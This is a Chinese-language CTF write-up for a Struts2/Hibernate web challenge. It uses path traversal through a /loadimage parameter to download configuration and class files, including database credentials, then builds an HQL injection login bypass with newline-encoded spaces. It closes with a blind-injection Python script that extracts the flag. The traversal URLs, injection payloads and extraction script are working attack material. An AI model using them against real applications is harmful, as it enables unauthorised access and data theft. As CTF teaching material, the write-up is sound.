拿到题目进行目录遍历发现有一个/list文件
打开/list文件,发现是一个登录界面
尝试过爆破,毫无疑问不可能成功。
刷新页面,抓包,然后放一个包,发现又发了一个请求。
GET /loadimage?fileName=web_login_bg.jpg HTTP/1.1
通过/loadimage?fileName=web_login_bg.jpg
拿到了图片。然后尝试不同的文件格式查看,最后确定是xml格式。
既然知道了服务器的地址和请求路径,我们就通过路径访问得到项目的xml配置文件,于是构造payload:
/loadimage?fileName=../../WEB-INF/web.xml
是个下载文件,bg.jpg。
javaweb项目的特点,那么java项目就有一个特点了/WEB-INF/web.xml这是肯定存在的。
将其改成xml文件,查看源码
<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_9" version="2.4"xmlns="http://java.sun.com/xml/ns/j2ee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"><display-name>Struts Blank</display-name><filter><filter-name>struts2</filter-name><filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class></filter><filter-mapping><filter-name>struts2</filter-name><url-pattern>/*</url-pattern></filter-mapping><welcome-file-list><welcome-file>/ctfpage/index.jsp</welcome-file></welcome-file-list><error-page><error-code>404</error-code><location>/ctfpage/404.html</location></error-page>
</web-app>
可以看到,该项目使用的struts2框架,struts.xml是struts2的核心配置文件,该文件主要负责管理应用中的Action映射,以及该Action包含的Result定义等,因此我们需要读取struts.xml看看,构造payload:
/loadimage?fileName=../../WEB-INF/classes/struts.xml
又得到一个jpg文件,改成xml文件
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE struts PUBLIC"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN""http://struts.apache.org/dtds/struts-2.3.dtd">
<struts><constant name="strutsenableDynamicMethodInvocation" value="false"/><constant name="struts.mapper.alwaysSelectFullNamespace" value="true" /><constant name="struts.action.extension" value=","/><package name="front" namespace="/" extends="struts-default"><global-exception-mappings><exception-mapping exception="java.lang.Exception" result="error"/></global-exception-mappings><action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute"><result name="error">/ctfpage/login.jsp</result><result name="success">/ctfpage/welcome.jsp</result></action><action name="loadimage" class="com.cuitctf.action.DownloadAction"><result name="success" type="stream"><param name="contentType">image/jpeg</param><param name="contentDisposition">attachment;filename="bg.jpg"</param><param name="inputName">downloadFile</param></result><result name="suffix_error">/ctfpage/welcome.jsp</result></action></package><package name="back" namespace="/" extends="struts-default"><interceptors><interceptor name="oa" class="com.cuitctf.util.UserOAuth"/><interceptor-stack name="userAuth"><interceptor-ref name="defaultStack" /><interceptor-ref name="oa" /></interceptor-stack></interceptors><action name="list" class="com.cuitctf.action.AdminAction" method="execute"><interceptor-ref name="userAuth"><param name="excludeMethods">execute</param></interceptor-ref><result name="login_error">/ctfpage/login.jsp</result><result name="list_error">/ctfpage/welcome.jsp</result><result name="success">/ctfpage/welcome.jsp</result></action></package>
</struts>
看到有很多class,这就是所谓的映射文件,如
表示访问loadimage路径时候,会去找字节码com.cuitctf.action.DownloadAction
文件去加载内容,我们构造payload:
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/DownloadAction.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/AdminAction.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/UserOAuth.class
下载下来后请记得修改文件名称.class
,然后在IDEA使用decompiler插件进行反编译,挨个查看后,发现UserLoginAction.class
反编译出来的内容与登录页面最为相关
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//package com.cuitctf.action;import com.cuitctf.po.User;
import com.cuitctf.service.UserService;
import com.cuitctf.util.InitApplicationContext;
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.ActionSupport;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.springframework.context.ApplicationContext;public class UserLoginAction extends ActionSupport {private UserService userService;private User user;public UserLoginAction() {ApplicationContext context = InitApplicationContext.getApplicationContext();this.userService = (UserService)context.getBean("userService");}public String execute() throws Exception {System.out.println("start:" + this.user.getName());ActionContext actionContext = ActionContext.getContext();Map<String, Object> request = (Map)actionContext.get("request");try {if (!this.userCheck(this.user)) {request.put("error", "登录失败,请检查用户名和密码");System.out.println("登陆失败");return "error";}} catch (Exception var4) {var4.printStackTrace();throw var4;}System.out.println("login SUCCESS");ActionContext.getContext().getSession().put("user", this.user);return "success";}public boolean isValid(String username) {String valiidateString = "[a-zA-Z0-9]{1-16}";return matcher(valiidateString, username);}private static boolean matcher(String reg, String string) {boolean tem = false;Pattern pattern = Pattern.compile(reg);Matcher matcher = pattern.matcher(string);tem = matcher.matches();return tem;}public boolean userCheck(User user) {List<User> userList = this.userService.loginCheck(user.getName(), user.getPassword());if (userList != null && userList.size() == 1) {return true;} else {this.addActionError("Username or password is Wrong, please check!");return false;}}public UserService getUserService() {return this.userService;}public void setUserService(UserService userService) {this.userService = userService;}public User getUser() {return this.user;}public void setUser(User user) {this.user = user;}
}
其中引入了重要的几个包,因此构造payload,拿到源码:
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/po/User.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/UserService.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class
User.class反编译后是一个Bean文件,UserLoginAction.class反编译后是登录验证逻辑文件,InitApplicationContext.class反编译后是类加载器文件
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//package com.cuitctf.util;import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;public class InitApplicationContext {private static ApplicationContext context = null;private InitApplicationContext() {}public static ApplicationContext getApplicationContext() {if (context == null) {context = new ClassPathXmlApplicationContext("applicationContext.xml");}return context;}
}
加载应用的xml配置文件为applicationContext.xml
,该文件一般是项目的启动配置文件,包括数据库等,同样构造payload,如下:
/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml
下载后可以得到文件代码,如下
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource"><property name="driverClassName"><value>com.mysql.jdbc.Driver</value></property><property name="url"><value>jdbc:mysql://localhost:3306/sctf</value></property><property name="username" value="root"/><property name="password" value="root" /></bean><bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean"><property name="dataSource"><ref bean="dataSource"/></property><property name="mappingLocations"><value>user.hbm.xml</value></property><property name="hibernateProperties"><props><prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop><prop key="hibernate.show_sql">true</prop></props></property></bean><bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate"><property name="sessionFactory"><ref bean="sessionFactory"/></property></bean><bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager"><property name="sessionFactory"><ref bean="sessionFactory"/></property></bean><bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true"><property name="transactionManager"><ref bean="transactionManager"/></property><property name="transactionAttributes"><props><prop key="add">PROPAGATION_REQUIRED</prop><prop key="find*">PROPAGATION_REQUIRED,readOnly</prop></props></property></bean><bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl"><property name="hibernateTemplate"><ref bean="hibernateTemplate"/></property></bean><bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl"><property name="userDao"><ref bean="userDAO"/></property></bean>
</beans>
其中暴露了使用的数据库,数据库账号密码,且其中包含了user.hbm.xml等配置文件,同样我们将其下载出来
/loadimage?fileName=../../WEB-INF/classes/user.hbm.xml
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/dao/impl/UserDaoImpl.class
<?xml version="1.0"?>
<!DOCTYPE hibernate-mapping PUBLIC"-//Hibernate/Hibernate Mapping DTD 3.0//EN""http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
<hibernate-mapping package="com.cuitctf.po"><class name="User" table="hlj_members"><id name="id" column="user_id"><generator class="identity"/></id><property name="name"/><property name="password"/></class><class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b"><id name="flag" column="welcometoourctf"><generator class="identity"/></id><property name="flag"/></class>
</hibernate-mapping>
UserServiceImpl.class反编译后,是对登录信息进行了过滤
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//package com.cuitctf.service.impl;import com.cuitctf.dao.UserDao;
import com.cuitctf.po.User;
import com.cuitctf.service.UserService;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;public class UserServiceImpl implements UserService {private UserDao userDao;public UserServiceImpl() {}public UserDao gerUserDao() {return this.userDao;}public void setUserDao(UserDao userDao) {this.userDao = userDao;}public List<User> findUserByName(String name) {return this.userDao.findUserByName(name);}public List<User> loginCheck(String name, String password) {name = name.replaceAll(" ", "");name = name.replaceAll("=", "");Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password);return password_matcher.find() ? this.userDao.loginCheck(name, password) : null;}
}
UserDaoImpl.class反编译后,是对登录的sql查找
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//package com.cuitctf.dao.impl;import com.cuitctf.dao.UserDao;
import com.cuitctf.po.User;
import java.util.List;
import org.springframework.orm.hibernate3.support.HibernateDaoSupport;public class UserDaoImpl extends HibernateDaoSupport implements UserDao {public UserDaoImpl() {}public List<User> findUserByName(String name) {return this.getHibernateTemplate().find("from User where name ='" + name + "'");}public List<User> loginCheck(String name, String password) {return this.getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");}
}
上面的sql语句使用HSQL,什么是HSQL,参考https://www.cnblogs.com/fengyouheng/p/11013013.html。因此构造登录账号密码:
from User where name ='admin' or '1'>'0' or name like 'admin' and password = '" + password + "'
UserServiceImpl.class反编译后代码中是对空格进行了过滤,而sql中对回车自动过滤, 因此我们可以将空格字符换成%0A(ascii码表示换行符)。于是使用hackbar进行翻译,得到新的注入sql的payload:
admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin
因此用户名:admin’%0Aor%0A’1’>‘0’%0Aor%0Aname%0Alike%0A’admin
密码:随意
这里登录不能使用post传输,所以我们所以hackbar关掉post,直接加后面作payload
/zhuanxvlogin?user.name=admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin
&user.password=123#
很可惜进来了还是没有一点线索。。。。。
最终只能考大佬的脚本了
import requestss = requests.session()flag = ''
for i in range(1, 50):p = ''for j in range(1, 255):# (select ascii(substr(id, "+str(i)+", 1)) from Flag where id < 2) < 'payload = "(select%0Aascii(substr(id," + str(i) + ",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'" + str(j) + "'"# print payloadurl = "http://61.147.171.105:50156/zhuanxvlogin?user.name=admin'%0Aor%0A" + payload + "%0Aor%0Aname%0Alike%0A'admin&user.password=123"r1 = s.get(url)if len(r1.text) > 20000 and p != '':flag += p#print(i, flag)breakp = chr(j)
print(flag)
sctf{C46E250926A2DFFD831975396222B08E}